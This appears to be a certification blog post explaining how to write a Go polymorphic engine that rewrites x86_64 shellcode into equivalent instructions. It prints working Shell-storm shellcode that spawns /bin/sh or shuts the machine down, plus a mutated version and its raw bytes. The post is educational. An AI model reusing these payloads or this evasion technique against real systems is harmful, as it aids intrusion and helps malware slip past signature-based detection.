# Writing a Polymorphic Engine in Golang

Apr 8, 2019 · 5 min read

On this post, we’ll see what polymorphic code is and how to write a basic polymorphic engine.

# What’s Polymorphic Code?

Polymorphic code is code that is changed on its details while keeping the final result intact (the code semantics won’t change). For example, `8/2` and `8*0.5` both achieve the same result while using different values and operations.

A polymorphic engine’s objective is to transform some shellcode into an equivalent version of itself that consists of different instructions but keeps the same functionality.

# The Engine

This subject is HUGE. In order to tackle it I defined the following scope for it:

• It will take source code as input and produce source code as output.

## The Parser section

The parser takes a line of assembly and generates an abstract representation derived from it. Let’s see how it works with an example:

0x00 Input
Let’s say we get the following input:

`"      mov     rax   ,   rbx     ; loads 0x59 into rax  "`

0x01 Clean
We need to clean this input to get just the sections we need and nothing else to ease the analysis. We cut out things like comments, extra spaces and the like.

`"mov rax,rbx"`

0x02 Lexical analysis
In this stage, we’ll split the line into parts using delimiters like the comma and space to determine the meaning of each one of the pieces. In this case, we’ll always have an operand and 0, 1 or 2 values that can be registers or immediate values. To store the syntax I used this Go struct (comments indicate the value for the example we are working through):

`type lex struct {  Operand                string    // "mov"  Values                 []string  // ["rax", "rbx"]  AbstractRepresentation string    // "mov \$1 \$2"  OriginalString         string    // "mov rax,rbx"}`

## The Morph section

This section takes the responsibility of, given an abstract representation, returning an assembly line equivalent to the original. In order to do that, it makes use of a map of abstract representations and equivalences that looks like this:

`map[string][]equivalence{  "xor \$1 \$1": []equivalence{    equivalence{      "mov \$1, -1",      "inc \$1",    },    equivalence{      "sub \$1,\$1",    },    ... some more equivalences for xor \$1 \$1  },  "mov \$1 \$2": []equivalence{    equivalence{      "push \$2",      "pop  \$1",    },    equivalence{      "xchg \$1, \$2",      "push \$1",      "pop \$2",    },    ... some more equivalences for mov \$1 \$2  },  .. some more abstrac representations for common instructions }`

If a match is found in the map a random equivalence is taken and a new assembly line is returned.

# Testing

Let’s see the engine in action!

Let’s go to Shellstorm and grab some shellcode. I’ll use these three samples:

`; SAMPLE TAKEN FROM : ;   http://shell-storm.org/shellcode/files/shellcode-806.php; Execute /bin/sh - 27 bytessection .textglobal _start_start:xor rdi, rdimov al, 0x69syscall xor   rdx, rdxmov   rbx, 0x68732f6e69622fffshr   rbx, 0x8push   rbxmov   rdi ,rspxor   rax, rax push  raxpush  rdi mov   rsi, rspmov   al, 0x3b syscallpush  0x1pop    rdipush  0x3cpop    raxsyscall`

`; SAMPLE TAKEN FROM : ;   http://shell-storm.org/shellcode/files/shellcode-877.php; shutdown -h now x86_64 Shellcode - 65 bytessection .textglobal _start_start:xor rax, raxxor rdx, rdxpush raxpush byte 0x77push word 0x6f6e ; nowmov rbx, rsppush raxpush word 0x682d ;-hmov rcx, rsppush raxmov r8, 0x2f2f2f6e6962732f ; /sbin/shutdownmov r10, 0x6e776f6474756873push r10push r8mov rdi, rsppush rdxpush rbxpush rcxpush rdimov rsi, rspadd rax, 59syscall`

`; SAMPLE TAKEN FROM : ;   http://shell-storm.org/shellcode/files/shellcode-905.php; Execute /bin/sh - 27 bytesglobal _startsection .text_start:push   0x42pop    raxinc    ahcqopush   rdxmov    rdi, 0x68732f2f6e69622fpush   rdipush   rsppop    rsimov    r8, rdxmov    r10, rdxsyscall`

## 0x01 — Run them through the polymorphic engine

As easy as pipping the code through the go binary like:

`> cat shellstorm-905.nasm | ../../polymorph/polymorph > shellstorm-905-poly.nasm-- -- --> cat shellstorm-905-poly.nasmglobal _startsection .text_start:push  0x42pop  raxinc  ahcqopush  rdxmov  rdi , 0x68732f2f6e69622fpush  rdipush  rsppop  rsixor r8, r8add r8, rdxxchg r10, rdxpush r10pop rdxsyscall`

0x02 — Compile and generate C test skeletons

We need to compile and generate shellcode test skeletons for each payload and its polymorphic version.

I used my custom scripts for assembling a file, extracting the shellcode and generating a C binary to test the payload to ease the process.

`# This will generate an elf64 binary from a nasm file> ../utils/asm-and-link shellstorm-905.nasm elf64# You can then extract the shellcode from it using this scrip# It'll mark bad chars in red and provide the shellcode in a couple of formats> ../utils/obj2shellcode shellstorm-905.elf64# Then you take the shellcode from the previous output and pass it as a string to the gen-shellcode-test script. This one will generate a C binary that will allow you to test the shellcode> ../utils/gen-shellcode-test "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x4c\x87\xc2\x41\x50\x5a\x4d\x31\xd2\x49\x01\xd2\x0f\x05"`

0x03 — The actual test

Let’s see if these autogenerated polymorphic versions behave like the original ones:

And that’s all! The source code for the polymorphic engine can be found here:

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE64–1326
Source code can be found
here

Written by

Written by